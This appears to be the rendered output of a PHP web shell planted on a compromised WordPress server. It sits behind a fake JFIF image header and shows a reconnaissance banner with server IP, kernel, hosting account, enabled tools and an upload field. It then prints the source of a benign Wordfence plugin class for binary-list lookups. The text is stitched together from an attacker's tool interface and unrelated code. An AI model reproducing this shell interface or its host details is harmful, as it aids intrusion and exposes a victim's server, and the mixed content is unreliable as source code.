????JFIF??x?x????'
Server IP : 172.67.174.47 / Your IP : 216.73.216.87 Web Server : LiteSpeed System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 User : tempvsty ( 647) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /proc/self/root/home/./tempvsty/./buyeaa.com/wp-content/plugins/wordfence/lib/ |
Upload File : |
<?php /** * Class wfBinaryList implements an interface to interact with binary lists. These are internally a sorted list of * values of a specific size. The sorted aspect allows for very quick searching. */ class wfBinaryList { private $size = 0; private $list = ''; public function __construct($binary) { $this->size = ord(wfWAFUtils::substr($binary, 0, 1)); $this->list = wfWAFUtils::substr($binary, 1); } public function contains($value) { if ($this->size == 0) { return false; } $length = wfWAFUtils::strlen($this->list); if ($length == 0) { return false; } $p = wfWAFUtils::substr($value, 0, $this->size); $count = ceil($length / $this->size); $low = 0; $high = $count - 1; while ($low <= $high) { $mid = (int) (($high + $low) / 2); $val = wfWAFUtils::substr($this->list, $mid * $this->size, $this->size); $cmp = strcmp($val, $p); if ($cmp < 0) { $low = $mid + 1; } else if ($cmp > 0) { $high = $mid - 1; } else { return $mid; } } return false; } }